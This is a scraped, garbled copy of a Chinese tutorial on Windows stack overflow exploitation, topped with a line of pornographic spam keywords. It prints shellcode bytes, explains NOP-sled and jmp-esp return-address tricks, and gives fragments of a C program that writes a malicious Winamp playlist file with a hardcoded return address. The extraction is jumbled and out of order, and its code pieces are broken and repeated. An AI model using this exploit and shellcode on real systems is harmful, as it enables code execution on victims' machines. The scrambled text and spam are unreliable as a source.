freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

windows系統(tǒng)下的堆棧溢出(文件)

2025-09-25 16:44 上一頁面

下一頁面
 

【正文】 了。 對上面的算法進行優(yōu)化,現(xiàn)在我們可以寫出 shellcode如下: char shellcode[] = { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }。 ret = (int *)amp。 //修改 main()的返回地址為 shellcode的開始地址。理論上,你已經(jīng)具備了利用堆棧溢出的 能力了,下面,我們通過實戰(zhàn)來真正掌握他。事實上用戶進程的加載位置為:,數(shù)據(jù)地址和堆棧指針都會含有 0,那么我們的返回地址就必然含有 0。 其次, windows 在執(zhí)行 mov esp, ebp的時候,把廢棄不用的堆棧用隨機數(shù)據(jù)填充(實驗所得,機制如何,大家一起研究),因此我們的 shellcode 可能會被覆蓋!----這下完蛋了,我們的shellcode 都沒了,返回地址正確又有什么用?? 所以,我們的 shellcode必須改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區(qū)溢出發(fā)生之后,堆棧的布局如下: 內(nèi)存底部 內(nèi)存頂部 buffer EBP ret [NNNNNNNNNNN][N ] [A ]SSSS ^amp。 但是,剛才我們說過 A里面是含有 0字符的,這樣的溢出字符串,在 A處就被0 阻斷,根本無法到 shellcode。事實上,這一技巧開創(chuàng)了一個嶄新的 windows 緩沖區(qū)溢出的思路。 但是他怎么才能知道我們的 shellcode的地址呢? 答案是:用寄存器。這些寄存器的值,我們可以在第一講里面提到的“關(guān)閉程序框”里面獲得寄存器和堆棧的詳細資料。其他的 dll,比如 msvcrt。 好,那么我們的 shellcode最終為: NNNNNNNNNNNNNNNASSSSSSSS 其中: N為 NOP指令 A 為指向某一條 call/jmp 指令的地址,這個 call/jmp 指令位于系統(tǒng)核心內(nèi)存 0x80000000,這個 call/jmp指令具體的內(nèi)容,需要根據(jù)我們 exploit出來的結(jié)果分析得知。 winamp 的 playlist 支持文件 *.pls 存放playlist。 char eip[8] = 。x640。 case 1: buffer[x] = 39。 case 2: buffer[x] = 39。 case 3: buffer[x] = 39。 } } buffer[x]=0。 fprintf(file, %s, buffer)。 fclose(file)。我就不講了,其中 buffer 的內(nèi)容為測試用的字符串。 大家現(xiàn)在知道我們的溢出字符串中,返回地址 A應(yīng)該在串的 580處,那么我們應(yīng)該讓他使用什么 call/jmp 指令以達到shellcode呢? 看看寄存器 dump,我們發(fā)現(xiàn) ESP 里面的內(nèi)容是 41415750,恰好是 4141574c之后的第一個數(shù)。ok,問題解決,我們現(xiàn)在可以確定在buffer〔 580〕處,寫入四個字節(jié):\xa3\x95\xf7\xbf.這就是我們的溢出字符串中的返回地址 A。 C語言的算法描述是: LoadLibrary()。 push ebp mov ebp,esp mov edx,0xFFFFFFFF sub edx,0x87FFAAFB//exit push edx xor eax,eax push eax call dword ptr[ebp04h] 簡單說一下, 是運行 C 語言標準庫函數(shù)所必須的一個動態(tài)鏈接庫。 他的代碼在 中,是被winamp 加載了的 dll。 好了,所有的算法都討論完了,下一講我們就來實現(xiàn)一個 exploit ◆最后的完善 我們把前面寫的測試程序稍加改動就是一個 exploit程序: include int main() { char buffer[640]。 for(int x=0。 fprintf(file, [playlist]\n)。 fprintf(file, %s, shellcode)。 return 0。 這個時候, s- ice 就又派上用場了,跟蹤一下看看: ctrld bpx bff795a3(就是我們的 jmp esp) x 好,現(xiàn)在運行 winamp,打開文件,被 s- ice 攔下,開始跟蹤。 我在第 4 講第一節(jié)就說過對這種問題的對策。 FILE *file。 } buffer[x]=0。 fprintf(file, %s, buffer)。 fclose(file)。我們可以看到, windows 下的堆棧溢出攻擊和 unix下的,原理基本相同。事實上,這也導(dǎo)致了 windows下的 exploit不具有通用性。甚至可能不同語言版本的 windows,其核心 dll的版本都不同。但是,這也無法消除對 LoadLibrary和 GetProcAddress 的地址的直接引用,因為這兩個是 shellcode中最基本的函數(shù),自然就導(dǎo)致了對 版本的依賴。當時我們實驗 的exploit總是沒有成功, client端執(zhí)行完了以后 server 端我們經(jīng)常看到 access violation的框,就是因為 shellcode的版本依賴 問題導(dǎo)致的。他的文章現(xiàn)在還在,大家可以去精華區(qū)看看。因為 NT 里面有很多系統(tǒng)進程,都是以system 賬號啟動的。去年,我研究 的溢出之后,發(fā)現(xiàn)帶有問題的 windows 網(wǎng)絡(luò)服務(wù)程序?qū)е铝?windows 堆棧溢出,可以幫助我們獲得遠程控制。在此感謝,同時感謝以前一起討論過 windows 系列堆棧溢出的朋友 littleworm,xsz它們。 讓我們以下面這句話共勉: If you assume that there39。希望大家在看了之后,能夠?qū)?windows 堆棧溢出技術(shù)有一定了了解。 在后續(xù)的研究中,有時候因為困難幾乎要放棄。當然可以為所欲為了。我也曾經(jīng)以為 windows 的堆棧溢出攻擊是不必要的。 說一句題外話: 很多人運行了堆棧溢出 exploit以后沒有成功,就認為自己的機器沒有毛病。運行 sice,跟蹤你的 shellcode,會發(fā)現(xiàn)問題的根源的。 為了解決這個問題,我想我們可以盡量減少固定地址的使用。不同的 dll版本,里面的庫函數(shù)的偏移地址就可能(注意:是可能)不同。這也是我在寫完 linux下的堆棧溢出系列之后,另外寫windows 系列的原因。 return 0。 fprintf(file, %s, sploit)。 fprintf(file, [playlist]\n)。x580。 char eip[8] = \xa3\x95\xf7\xbf。這是怎么回事?應(yīng)該是 \xB8\x24\x98\x01\x78 呀,\x01到什么地方去了? 看來敵人把輸入的溢出字符串作樂處理,把不能作為文件名的字符都作為 0處理 了(事實上這是 win32api函數(shù)作的處理)。出來了嗎? 哎呀,怎么又是錯誤? WINAMP 在
點擊復(fù)制文檔內(nèi)容
公司管理相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號-1